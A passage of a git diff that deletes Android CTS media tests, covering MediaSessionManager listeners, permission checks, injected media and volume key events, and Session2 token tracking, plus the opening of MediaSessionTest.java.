-        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-        super.tearDown();
-    }
-
-    public void testGetActiveSessions() throws Exception {
-        try {
-            List<MediaController> controllers = mSessionManager.getActiveSessions(null);
-            fail("Expected security exception for unauthorized call to getActiveSessions");
-        } catch (SecurityException e) {
-            // Expected
-        }
-        // TODO enable a notification listener, test again, disable, test again
-    }
-
-    public void testGetMediaKeyEventSession_throwsSecurityException() throws Exception {
-        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
-        try {
-            mSessionManager.getMediaKeyEventSession();
-            fail("Expected security exception for call to getMediaKeyEventSession");
-        } catch (SecurityException ex) {
-            // Expected
-        }
-    }
-
-    public void testOnMediaKeyEventSessionChangedListener() throws Exception {
-        // The permission can be held only on S+
-        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
-
-        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
-                Manifest.permission.MEDIA_CONTENT_CONTROL,
-                Manifest.permission.MANAGE_EXTERNAL_STORAGE);
-
-        MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener();
-        mSessionManager.addOnMediaKeyEventSessionChangedListener(
-                Executors.newSingleThreadExecutor(), keyEventSessionListener);
-
-        MediaSession session = new MediaSession(getInstrumentation().getTargetContext(), TAG);
-        session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
-                | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
-        PlaybackState state = new PlaybackState.Builder()
-                .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
-        // Fake the media session service so this session can take the media key events.
-        session.setPlaybackState(state);
-        session.setActive(true);
-        Utils.assertMediaPlaybackStarted(getInstrumentation().getTargetContext());
-
-        assertTrue(keyEventSessionListener.mCountDownLatch
-                .await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-        assertEquals(session.getSessionToken(), mSessionManager.getMediaKeyEventSession());
-
-        mSessionManager.removeOnMediaKeyEventSessionChangedListener(keyEventSessionListener);
-        keyEventSessionListener.resetCountDownLatch();
-
-        session.release();
-        // This shouldn't be called because the callback is removed
-        assertFalse(keyEventSessionListener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-    }
-
-    public void testOnMediaKeyEventDispatchedListener() throws Exception {
-        // The permission can be held only on S+
-        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
-
-        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
-                Manifest.permission.MEDIA_CONTENT_CONTROL,
-                Manifest.permission.MANAGE_EXTERNAL_STORAGE);
-
-        MediaKeyEventDispatchedListener keyEventDispatchedListener =
-                new MediaKeyEventDispatchedListener();
-        mSessionManager.addOnMediaKeyEventDispatchedListener(Executors.newSingleThreadExecutor(),
-                keyEventDispatchedListener);
-
-        MediaSession session = new MediaSession(getInstrumentation().getTargetContext(), TAG);
-        session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
-                | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
-        PlaybackState state = new PlaybackState.Builder()
-                .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
-        // Fake the media session service so this session can take the media key events.
-        session.setPlaybackState(state);
-        session.setActive(true);
-        Utils.assertMediaPlaybackStarted(getInstrumentation().getTargetContext());
-
-        final int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
-        simulateMediaKeyInput(keyCode);
-        assertTrue(keyEventDispatchedListener.mCountDownLatch
-                .await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-        assertEquals(keyCode, keyEventDispatchedListener.mKeyEvent.getKeyCode());
-        assertEquals(getInstrumentation().getTargetContext().getPackageName(),
-                keyEventDispatchedListener.mPackageName);
-        assertEquals(session.getSessionToken(), keyEventDispatchedListener.mSessionToken);
-
-        mSessionManager.removeOnMediaKeyEventDispatchedListener(keyEventDispatchedListener);
-        keyEventDispatchedListener.resetCountDownLatch();
-
-        simulateMediaKeyInput(keyCode);
-        // This shouldn't be called because the callback is removed
-        assertFalse(keyEventDispatchedListener.mCountDownLatch
-                .await(WAIT_MS, TimeUnit.MILLISECONDS));
-
-        session.release();
-    }
-
-    @UiThreadTest
-    public void testAddOnActiveSessionsListener() throws Exception {
-        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
-        try {
-            mSessionManager.addOnActiveSessionsChangedListener(null, null);
-            fail("Expected NPE for call to addOnActiveSessionsChangedListener");
-        } catch (NullPointerException e) {
-            // Expected
-        }
-
-        MediaSessionManager.OnActiveSessionsChangedListener listener
-                = new MediaSessionManager.OnActiveSessionsChangedListener() {
-            @Override
-            public void onActiveSessionsChanged(List<MediaController> controllers) {
-
-            }
-        };
-        try {
-            mSessionManager.addOnActiveSessionsChangedListener(listener, null);
-            fail("Expected security exception for call to addOnActiveSessionsChangedListener");
-        } catch (SecurityException e) {
-            // Expected
-        }
-    }
-
-    private void assertKeyEventEquals(KeyEvent lhs, int keyCode, int action, int repeatCount) {
-        assertTrue(lhs.getKeyCode() == keyCode
-                && lhs.getAction() == action
-                && lhs.getRepeatCount() == repeatCount);
-    }
-
-    private void injectInputEvent(int keyCode, boolean longPress) throws IOException {
-        // Injecting key with instrumentation requires a window/view, but we don't have it.
-        // Inject key event through the adb commend to workaround.
-        final String command = "input keyevent " + (longPress ? "--longpress " : "") + keyCode;
-        SystemUtil.runShellCommand(getInstrumentation(), command);
-    }
-
-    public void testSetOnVolumeKeyLongPressListener() throws Exception {
-        Context context = getInstrumentation().getTargetContext();
-        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)
-                || context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
-                || context.getResources().getBoolean(Resources.getSystem().getIdentifier(
-                        "config_handleVolumeKeysInWindowManager", "bool", "android"))) {
-            // Skip this test, because the PhoneWindowManager dispatches volume key
-            // events directly to the audio service to change the system volume.
-            return;
-        }
-        Handler handler = createHandler();
-
-        // Ensure that the listener is called for long-press.
-        VolumeKeyLongPressListener listener = new VolumeKeyLongPressListener(3, handler);
-        mSessionManager.setOnVolumeKeyLongPressListener(listener, handler);
-        injectInputEvent(KeyEvent.KEYCODE_VOLUME_DOWN, true);
-        assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(listener.mKeyEvents.size(), 3);
-        assertKeyEventEquals(listener.mKeyEvents.get(0),
-                KeyEvent.KEYCODE_VOLUME_DOWN, KeyEvent.ACTION_DOWN, 0);
-        assertKeyEventEquals(listener.mKeyEvents.get(1),
-                KeyEvent.KEYCODE_VOLUME_DOWN, KeyEvent.ACTION_DOWN, 1);
-        assertKeyEventEquals(listener.mKeyEvents.get(2),
-                KeyEvent.KEYCODE_VOLUME_DOWN, KeyEvent.ACTION_UP, 0);
-
-        // Ensure the the listener isn't called for short-press.
-        listener = new VolumeKeyLongPressListener(1, handler);
-        mSessionManager.setOnVolumeKeyLongPressListener(listener, handler);
-        injectInputEvent(KeyEvent.KEYCODE_VOLUME_DOWN, false);
-        assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(listener.mKeyEvents.size(), 0);
-
-        // Ensure that the listener isn't called anymore.
-        mSessionManager.setOnVolumeKeyLongPressListener(null, handler);
-        injectInputEvent(KeyEvent.KEYCODE_VOLUME_DOWN, true);
-        assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(listener.mKeyEvents.size(), 0);
-
-        removeHandler(handler);
-    }
-
-    public void testSetOnMediaKeyListener() throws Exception {
-        Handler handler = createHandler();
-        MediaSession session = null;
-        try {
-            session = new MediaSession(getInstrumentation().getTargetContext(), TAG);
-            MediaSessionCallback callback = new MediaSessionCallback(2, session);
-            session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
-                    | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
-            session.setCallback(callback, handler);
-            PlaybackState state = new PlaybackState.Builder()
-                    .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
-            // Fake the media session service so this session can take the media key events.
-            session.setPlaybackState(state);
-            session.setActive(true);
-
-            // A media playback is also needed to receive media key events.
-            Utils.assertMediaPlaybackStarted(getInstrumentation().getTargetContext());
-
-            // Ensure that the listener is called for media key event,
-            // and any other media sessions don't get the key.
-            MediaKeyListener listener = new MediaKeyListener(2, true, handler);
-            mSessionManager.setOnMediaKeyListener(listener, handler);
-            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
-            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertEquals(listener.mKeyEvents.size(), 2);
-            assertKeyEventEquals(listener.mKeyEvents.get(0),
-                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
-            assertKeyEventEquals(listener.mKeyEvents.get(1),
-                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
-            assertFalse(callback.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-            assertEquals(callback.mKeyEvents.size(), 0);
-
-            // Ensure that the listener is called for media key event,
-            // and another media session gets the key.
-            listener = new MediaKeyListener(2, false, handler);
-            mSessionManager.setOnMediaKeyListener(listener, handler);
-            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
-            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertEquals(listener.mKeyEvents.size(), 2);
-            assertKeyEventEquals(listener.mKeyEvents.get(0),
-                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
-            assertKeyEventEquals(listener.mKeyEvents.get(1),
-                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
-            assertTrue(callback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertEquals(callback.mKeyEvents.size(), 2);
-            assertKeyEventEquals(callback.mKeyEvents.get(0),
-                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
-            assertKeyEventEquals(callback.mKeyEvents.get(1),
-                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
-
-            // Ensure that the listener isn't called anymore.
-            listener = new MediaKeyListener(1, true, handler);
-            mSessionManager.setOnMediaKeyListener(listener, handler);
-            mSessionManager.setOnMediaKeyListener(null, handler);
-            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
-            assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-            assertEquals(listener.mKeyEvents.size(), 0);
-        } finally {
-            if (session != null) {
-                session.release();
-            }
-            removeHandler(handler);
-        }
-    }
-
-    public void testRemoteUserInfo() throws Exception {
-        final Context context = getInstrumentation().getTargetContext();
-        Handler handler = createHandler();
-
-        MediaSession session = null;
-        try {
-            session = new MediaSession(context , TAG);
-            MediaSessionCallback callback = new MediaSessionCallback(5, session);
-            session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
-                    | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
-            session.setCallback(callback, handler);
-            PlaybackState state = new PlaybackState.Builder()
-                    .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
-            // Fake the media session service so this session can take the media key events.
-            session.setPlaybackState(state);
-            session.setActive(true);
-
-            // A media playback is also needed to receive media key events.
-            Utils.assertMediaPlaybackStarted(context);
-
-            // Dispatch key events 5 times.
-            KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MEDIA_PLAY);
-            // (1), (2): dispatch through key -- this will trigger event twice for up & down.
-            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
-            // (3): dispatch through controller
-            session.getController().dispatchMediaButtonEvent(event);
-
-            // Creating another controller.
-            MediaController controller = new MediaController(context, session.getSessionToken());
-            // (4): dispatch through different controller.
-            controller.dispatchMediaButtonEvent(event);
-            // (5): dispatch through the same controller
-            controller.dispatchMediaButtonEvent(event);
-
-            // Wait.
-            assertTrue(callback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // Caller of (1) ~ (4) shouldn't be the same as any others.
-            for (int i = 0; i < 4; i ++) {
-                for (int j = 0; j < i; j++) {
-                    assertNotSame(callback.mCallers.get(i), callback.mCallers.get(j));
-                }
-            }
-            // Caller of (5) should be the same as (4), since they're called from the same
-            assertEquals(callback.mCallers.get(3), callback.mCallers.get(4));
-        } finally {
-            if (session != null) {
-                session.release();
-            }
-            removeHandler(handler);
-        }
-    }
-
-    public void testGetSession2Tokens() throws Exception {
-        final Context context = getInstrumentation().getTargetContext();
-        Handler handler = createHandler();
-        Executor handlerExecutor = new HandlerExecutor(handler);
-
-        Session2TokenListener listener = new Session2TokenListener();
-        mSessionManager.addOnSession2TokensChangedListener(listener, handler);
-
-        Session2Callback sessionCallback = new Session2Callback();
-        try (MediaSession2 session = new MediaSession2.Builder(context)
-                .setSessionCallback(handlerExecutor, sessionCallback)
-                .build()) {
-            assertTrue(sessionCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            Session2Token currentToken = session.getToken();
-            assertTrue(listContainsToken(listener.mTokens, currentToken));
-            assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), currentToken));
-        }
-    }
-
-    public void testGetSession2TokensWithTwoSessions() throws Exception {
-        final Context context = getInstrumentation().getTargetContext();
-        Handler handler = createHandler();
-        Executor handlerExecutor = new HandlerExecutor(handler);
-
-        Session2TokenListener listener = new Session2TokenListener();
-        mSessionManager.addOnSession2TokensChangedListener(listener, handler);
-
-        try (MediaSession2 session1 = new MediaSession2.Builder(context)
-                .setSessionCallback(handlerExecutor, new Session2Callback())
-                .setId("testGetSession2TokensWithTwoSessions_session1")
-                .build()) {
-
-            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            Session2Token session1Token = session1.getToken();
-            assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), session1Token));
-
-            // Create another session and check the result of getSession2Token().
-            listener.resetCountDownLatch();
-            Session2Token session2Token = null;
-            try (MediaSession2 session2 = new MediaSession2.Builder(context)
-                    .setSessionCallback(handlerExecutor, new Session2Callback())
-                    .setId("testGetSession2TokensWithTwoSessions_session2")
-                    .build()) {
-
-                assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-                session2Token = session2.getToken();
-                assertNotNull(session2Token);
-                assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), session1Token));
-                assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), session2Token));
-
-                listener.resetCountDownLatch();
-            }
-
-            // Since the session2 is closed, getSession2Tokens() shouldn't include session2's token.
-            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), session1Token));
-            assertFalse(listContainsToken(mSessionManager.getSession2Tokens(), session2Token));
-        }
-    }
-
-    public void testAddAndRemoveSession2TokensListener() throws Exception {
-        final Context context = getInstrumentation().getTargetContext();
-        Handler handler = createHandler();
-        Executor handlerExecutor = new HandlerExecutor(handler);
-
-        Session2TokenListener listener1 = new Session2TokenListener();
-        mSessionManager.addOnSession2TokensChangedListener(listener1, handler);
-
-        Session2Callback sessionCallback = new Session2Callback();
-        try (MediaSession2 session = new MediaSession2.Builder(context)
-                .setSessionCallback(handlerExecutor, sessionCallback)
-                .build()) {
-            assertTrue(listener1.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            Session2Token currentToken = session.getToken();
-            assertTrue(listContainsToken(listener1.mTokens, currentToken));
-
-            // Test removing listener
-            listener1.resetCountDownLatch();
-            Session2TokenListener listener2 = new Session2TokenListener();
-            mSessionManager.addOnSession2TokensChangedListener(listener2, handler);
-            mSessionManager.removeOnSession2TokensChangedListener(listener1);
-
-            session.close();
-            assertFalse(listener1.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(listener2.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        }
-    }
-
-    public void testSession2TokensNotChangedBySession1() throws Exception {
-        final Context context = getInstrumentation().getTargetContext();
-        Handler handler = createHandler();
-
-        Session2TokenListener listener = new Session2TokenListener();
-        List<Session2Token> initialSession2Tokens = mSessionManager.getSession2Tokens();
-        mSessionManager.addOnSession2TokensChangedListener(listener, handler);
-        MediaSession session = null;
-        try {
-            session = new MediaSession(context, TAG);
-            session.setActive(true);
-            session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
-                    | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
-            assertFalse(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            List<Session2Token> laterSession2Tokens = mSessionManager.getSession2Tokens();
-
-            assertEquals(initialSession2Tokens.size(), laterSession2Tokens.size());
-        } finally {
-            if (session != null) {
-                session.release();
-            }
-        }
-    }
-
-    public void testCustomClassConfigValuesAreValid() throws Exception {
-        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
-        final Context context = getInstrumentation().getTargetContext();
-        String customMediaKeyDispatcher = context.getString(
-                android.R.string.config_customMediaKeyDispatcher);
-        String customMediaSessionPolicyProvider = context.getString(
-                android.R.string.config_customMediaSessionPolicyProvider);
-        // MediaSessionService will call Class.forName(String) with the existing config value.
-        // If the config value is not valid (i.e. given class doesn't exist), the following
-        // methods will return false.
-        if (!customMediaKeyDispatcher.isEmpty()) {
-            assertTrue(mSessionManager.hasCustomMediaKeyDispatcher(customMediaKeyDispatcher));
-        }
-        if (!customMediaSessionPolicyProvider.isEmpty()) {
-            assertTrue(mSessionManager.hasCustomMediaSessionPolicyProvider(
-                    customMediaSessionPolicyProvider));
-        }
-    }
-
-    public void testIsTrustedForMediaControl_withEnabledNotificationListener() throws Exception {
-        List<String> packageNames = getEnabledNotificationListenerPackages();
-        for (String packageName : packageNames) {
-            int packageUid =
-                    mContext.getPackageManager().getPackageUid(packageName, /* flags= */ 0);
-            MediaSessionManager.RemoteUserInfo info =
-                    new MediaSessionManager.RemoteUserInfo(packageName, /* pid= */ 0, packageUid);
-            assertTrue(mSessionManager.isTrustedForMediaControl(info));
-        }
-    }
-
-    public void testIsTrustedForMediaControl_withInvalidUid() throws Exception {
-        List<String> packageNames = getEnabledNotificationListenerPackages();
-        for (String packageName : packageNames) {
-            MediaSessionManager.RemoteUserInfo info =
-                    new MediaSessionManager.RemoteUserInfo(
-                            packageName, /* pid= */ 0, Process.myUid());
-            assertFalse(mSessionManager.isTrustedForMediaControl(info));
-        }
-    }
-
-    private boolean listContainsToken(List<Session2Token> tokens, Session2Token token) {
-        for (int i = 0; i < tokens.size(); i++) {
-            if (tokens.get(i).equals(token)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private Handler createHandler() {
-        HandlerThread handlerThread = new HandlerThread("MediaSessionManagerTest");
-        handlerThread.start();
-        return new Handler(handlerThread.getLooper());
-    }
-
-    private void removeHandler(Handler handler) {
-        if (handler == null) {
-            return;
-        }
-        handler.getLooper().quitSafely();
-    }
-
-    // This uses public APIs to dispatch key events, so sessions would consider this as
-    // 'media key event from this application'.
-    private void simulateMediaKeyInput(int keyCode) {
-        long downTime = System.currentTimeMillis();
-        mAudioManager.dispatchMediaKeyEvent(
-                new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, 0));
-        mAudioManager.dispatchMediaKeyEvent(
-                new KeyEvent(downTime, System.currentTimeMillis(), KeyEvent.ACTION_UP, keyCode, 0));
-    }
-
-    private List<String> getEnabledNotificationListenerPackages() {
-        List<String> listeners = new ArrayList<>();
-        String enabledNotificationListeners =
-                Settings.Secure.getString(
-                        mContext.getContentResolver(),
-                        ENABLED_NOTIFICATION_LISTENERS);
-        if (enabledNotificationListeners != null) {
-            String[] components = enabledNotificationListeners.split(":");
-            for (String componentString : components) {
-                ComponentName component = ComponentName.unflattenFromString(componentString);
-                if (component != null) {
-                    listeners.add(component.getPackageName());
-                }
-            }
-        }
-        return listeners;
-    }
-
-    private class VolumeKeyLongPressListener
-            implements MediaSessionManager.OnVolumeKeyLongPressListener {
-        private final List<KeyEvent> mKeyEvents = new ArrayList<>();
-        private final CountDownLatch mCountDownLatch;
-        private final Handler mHandler;
-
-        public VolumeKeyLongPressListener(int count, Handler handler) {
-            mCountDownLatch = new CountDownLatch(count);
-            mHandler = handler;
-        }
-
-        @Override
-        public void onVolumeKeyLongPress(KeyEvent event) {
-            mKeyEvents.add(event);
-            // Ensure the listener is called on the thread.
-            assertEquals(mHandler.getLooper(), Looper.myLooper());
-            mCountDownLatch.countDown();
-        }
-    }
-
-    private class MediaKeyListener implements MediaSessionManager.OnMediaKeyListener {
-        private final CountDownLatch mCountDownLatch;
-        private final boolean mConsume;
-        private final Handler mHandler;
-        private final List<KeyEvent> mKeyEvents = new ArrayList<>();
-
-        public MediaKeyListener(int count, boolean consume, Handler handler) {
-            mCountDownLatch = new CountDownLatch(count);
-            mConsume = consume;
-            mHandler = handler;
-        }
-
-        @Override
-        public boolean onMediaKey(KeyEvent event) {
-            mKeyEvents.add(event);
-            // Ensure the listener is called on the thread.
-            assertEquals(mHandler.getLooper(), Looper.myLooper());
-            mCountDownLatch.countDown();
-            return mConsume;
-        }
-    }
-
-    private class MediaSessionCallback extends MediaSession.Callback {
-        private final CountDownLatch mCountDownLatch;
-        private final MediaSession mSession;
-        private final List<KeyEvent> mKeyEvents = new ArrayList<>();
-        private final List<MediaSessionManager.RemoteUserInfo> mCallers = new ArrayList<>();
-
-        private MediaSessionCallback(int count, MediaSession session) {
-            mCountDownLatch = new CountDownLatch(count);
-            mSession = session;
-        }
-
-        public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
-            KeyEvent event = (KeyEvent) mediaButtonIntent.getParcelableExtra(
-                    Intent.EXTRA_KEY_EVENT);
-            assertNotNull(event);
-            mKeyEvents.add(event);
-            mCallers.add(mSession.getCurrentControllerInfo());
-            mCountDownLatch.countDown();
-            return true;
-        }
-    }
-
-    private class Session2Callback extends MediaSession2.SessionCallback {
-        private CountDownLatch mCountDownLatch;
-
-        private Session2Callback() {
-            mCountDownLatch = new CountDownLatch(1);
-        }
-
-        @Override
-        public Session2CommandGroup onConnect(MediaSession2 session,
-                MediaSession2.ControllerInfo controller) {
-            if (controller.getUid() == Process.SYSTEM_UID) {
-                // System server will try to connect here for monitor session.
-                mCountDownLatch.countDown();
-            }
-            return new Session2CommandGroup.Builder().build();
-        }
-    }
-
-    private class Session2TokenListener implements
-            MediaSessionManager.OnSession2TokensChangedListener {
-        private CountDownLatch mCountDownLatch;
-        private List<Session2Token> mTokens;
-
-        private Session2TokenListener() {
-            mCountDownLatch = new CountDownLatch(1);
-        }
-
-        @Override
-        public void onSession2TokensChanged(List<Session2Token> tokens) {
-            mTokens = tokens;
-            mCountDownLatch.countDown();
-        }
-
-        public void resetCountDownLatch() {
-            mCountDownLatch = new CountDownLatch(1);
-        }
-    }
-
-    private class MediaKeyEventSessionListener
-            implements MediaSessionManager.OnMediaKeyEventSessionChangedListener {
-        CountDownLatch mCountDownLatch;
-        MediaSession.Token mSessionToken;
-
-        MediaKeyEventSessionListener() {
-            mCountDownLatch = new CountDownLatch(1);
-        }
-
-        void resetCountDownLatch() {
-            mCountDownLatch = new CountDownLatch(1);
-        }
-
-        @Override
-        public void onMediaKeyEventSessionChanged(String packageName,
-                MediaSession.Token sessionToken) {
-            mSessionToken = sessionToken;
-            mCountDownLatch.countDown();
-        }
-    }
-
-    private class MediaKeyEventDispatchedListener
-            implements MediaSessionManager.OnMediaKeyEventDispatchedListener {
-        CountDownLatch mCountDownLatch;
-        KeyEvent mKeyEvent;
-        String mPackageName;
-        MediaSession.Token mSessionToken;
-
-        MediaKeyEventDispatchedListener() {
-            mCountDownLatch = new CountDownLatch(1);
-        }
-
-        void resetCountDownLatch() {
-            mCountDownLatch = new CountDownLatch(1);
-        }
-
-        @Override
-        public void onMediaKeyEventDispatched(KeyEvent event, String packageName,
-                MediaSession.Token sessionToken) {
-            mKeyEvent = event;
-            mPackageName = packageName;
-            mSessionToken = sessionToken;
-
-            mCountDownLatch.countDown();
-        }
-    }
-
-    private static class HandlerExecutor implements Executor {
-        private final Handler mHandler;
-
-        HandlerExecutor(Handler handler) {
-            mHandler = handler;
-        }
-
-        @Override
-        public void execute(Runnable command) {
-            mHandler.post(command);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
deleted file mode 100644
index 04f2662..0000000
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ /dev/null
@@ -1,1192 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static android.media.AudioAttributes.USAGE_GAME;
-import static android.media.cts.MediaSessionTestService.KEY_EXPECTED_QUEUE_SIZE;
-import static android.media.cts.MediaSessionTestService.KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS;
-import static android.media.cts.MediaSessionTestService.KEY_SESSION_TOKEN;
-import static android.media.cts.MediaSessionTestService.STEP_CHECK;
-import static android.media.cts.MediaSessionTestService.STEP_CLEAN_UP;
-import static android.media.cts.MediaSessionTestService.STEP_SET_UP;
-import static android.media.cts.MediaSessionTestService.TEST_SERIES_OF_SET_QUEUE;
-import static android.media.cts.MediaSessionTestService.TEST_SET_QUEUE;
-import static android.media.cts.Utils.compareRemoteUserInfo;
-
-import android.app.PendingIntent;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.media.AudioAttributes;
-import android.media.AudioManager;
-import android.media.MediaDescription;
-import android.media.MediaMetadata;
-import android.media.MediaSession2;
-import android.media.Rating;
-import android.media.VolumeProvider;
-import android.media.session.MediaController;
-import android.media.session.MediaSession;
-import android.media.session.MediaSession.QueueItem;
-import android.media.session.MediaSessionManager;
-import android.media.session.MediaSessionManager.RemoteUserInfo;
-import android.media.session.PlaybackState;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Parcel;
-import android.os.Process;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.text.TextUtils;
-import android.view.KeyEvent;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaSessionTest extends AndroidTestCase {
-    // The maximum time to wait for an operation that is expected to succeed.
-    private static final long TIME_OUT_MS = 3000L;
-    // The maximum time to wait for an operation that is expected to fail.
-    private static final long WAIT_MS = 100L;
-    private static final int MAX_AUDIO_INFO_CHANGED_CALLBACK_COUNT = 10;
-    private static final String TEST_SESSION_TAG = "test-session-tag";
-    private static final String TEST_KEY = "test-key";
-    private static final String TEST_VALUE = "test-val";
-    private static final String TEST_SESSION_EVENT = "test-session-event";
-    private static final String TEST_VOLUME_CONTROL_ID = "test-volume-control-id";
-    private static final int TEST_CURRENT_VOLUME = 10;
-    private static final int TEST_MAX_VOLUME = 11;
-    private static final long TEST_QUEUE_ID = 12L;
-    private static final long TEST_ACTION = 55L;
-    private static final int TEST_TOO_MANY_SESSION_COUNT = 1000;
-
-    private AudioManager mAudioManager;
-    private Handler mHandler = new Handler(Looper.getMainLooper());
-    private Object mWaitLock = new Object();
-    private MediaControllerCallback mCallback = new MediaControllerCallback();
-    private MediaSession mSession;
-    private RemoteUserInfo mKeyDispatcherInfo;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mAudioManager = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
-        mSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-        mKeyDispatcherInfo = new MediaSessionManager.RemoteUserInfo(
-                getContext().getPackageName(), Process.myPid(), Process.myUid());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // It is OK to call release() twice.
-        if (mSession != null) {
-            mSession.release();
-            mSession = null;
-        }
-        super.tearDown();
-    }
-
-    /**
-     * Tests that a session can be created and that all the fields are
-     * initialized correctly.
-     */
-    public void testCreateSession() throws Exception {
-        assertNotNull(mSession.getSessionToken());
-        assertFalse("New session should not be active", mSession.isActive());
-
-        // Verify by getting the controller and checking all its fields
-        MediaController controller = mSession.getController();
-        assertNotNull(controller);
-        verifyNewSession(controller);
-    }
-
-    public void testSessionTokenEquals() {
-        MediaSession anotherSession = null;
-        try {
-            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-            MediaSession.Token sessionToken = mSession.getSessionToken();
-            MediaSession.Token anotherSessionToken = anotherSession.getSessionToken();
-
-            assertTrue(sessionToken.equals(sessionToken));
-            assertFalse(sessionToken.equals(null));
-            assertFalse(sessionToken.equals(mSession));
-            assertFalse(sessionToken.equals(anotherSessionToken));
